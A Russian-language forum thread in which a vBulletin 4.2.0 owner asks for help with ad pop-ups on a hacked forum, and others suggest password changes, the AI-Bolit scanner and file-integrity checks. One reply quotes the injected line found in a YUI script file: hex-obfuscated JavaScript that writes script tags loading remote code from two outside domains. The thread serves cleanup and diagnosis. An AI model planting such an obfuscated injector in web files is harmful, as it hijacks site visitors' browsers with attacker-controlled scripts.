[4.2.x]

Добрый день, сегодня захожу на свой форум и при клике по логотипу, либо при открытии разделов форума, периодически открываются рекламные окна. По всей видимости кто-то каким-то образом что-то взломал и добавил.

Проверил в админке установленные модули - ничего нового и подозрительного нет.

Подскажите пожалуйста как найти где проблема? как пофиксить?

Стандартные действия при подозрении на взлом:
1. сменить все пароли, особенно тем, кто имеет доступ в админку, уволить всех админов, кто давно не был на форуме
2. искать в шаблонах, раз проблема при клике на картинку, обратить внимание на "Замещаемые переменные"
3. при любом раскладе пересохранить в админке один любой модуль
4. прогнать файловую систему Ай-болитом Скрипт для поиска вредоносного ПО "AI-Bolit"

Originally Posted by Luvilla

Стандартные действия при подозрении на взлом:
1. сменить все пароли, особенно тем, кто имеет доступ в админку, уволить всех админов, кто давно не был на форуме
2. искать в шаблонах, раз проблема при клике на картинку, обратить внимание на "Замещаемые переменные"
3. при любом раскладе пересохранить в админке один любой модуль
4. прогнать файловую систему Ай-болитом Скрипт для поиска вредоносного ПО "AI-Bolit"

1. Админ я один, пароль сложный
2. Оказывается не при клике на картинку, а при первом клике куда либо на форуме появляется рекламное окно
3. Что Вы имеете ввиду?
4. Можно подробную инструкцию как это сделать в vbulletin? скачал скрипт, прочитал readme, но что то слишком сложно для меня.

4.2.2 PL1?

Originally Posted by hoo

4.2.2 PL1?

(vBulletin 4.2.0 Patch Level 3)

@WebEditor, это форум не тот, ссылка на который в профиле указана?)

maritimeforum.net

WebEditor добавил 12.04.2017 в 11:41
Скопировал папку ai-bolit в корень сайта на хостинге.

Как выполнить команду в командной строке?
php ai-bolit.php

Подскажите пожалуста

Для начала попробуйте использовать внешние библиотеки YUI (Googl или Yahoo!)
Админка=>Оптимизация и настройки сервера=>Использовать внешнюю YUI
Уж больно интересная первая строчка в скрипте clientscript/yui/connection/connection-min.js

var _0xe62f=["\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6F\x65\x69\x31\x2E\x67\x71\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65","\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6D\x66\x69\x6F\x2E\x63\x66\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E"];document[_0xe62f[1]](_0xe62f[0]);document[_0xe62f[1]](_0xe62f[2])

У меня такой нет
Ну а потом разбирайтесь как она туда попала и кто мог получить доступ по ftp или каким другим способом.
Похоже на подмену файла.
Целостность остальных файлов тоже не мешало бы проверить: Админка=>Обслуживание=>Диагностика=>Подозрительные версии файлов

@Konkere, Вы правы!!! Спасибо огромное, сделал как Вы сказали и рекламные окна исчезли!

Тогда вопрос, каким образом кто-то смог внести изменения в этот файл? Причем последнее изменение файла 25.11.2012 - т.е. дата не менялась с момента установки форума.

Это можно сделать только через ftp или есть какие-то еще возможности? как защититься?

WebEditor добавил 12.04.2017 в 12:58
Сейчас перепроверил еще раз, теперь рекламные окна выскакивают только когда я переходу в режим админки. На самом форуме перестали. Может еще какой-то файл нужно править, чтобы в админ панели не выскакивали?

Originally Posted by WebEditor

Может еще какой-то файл нужно править, чтобы в админ панели не выскакивали?

Я же написал:

Originally Posted by Konkere

Целостность остальных файлов тоже не мешало бы проверить: Админка=>Обслуживание=>Диагностика=>Подозрительные версии файлов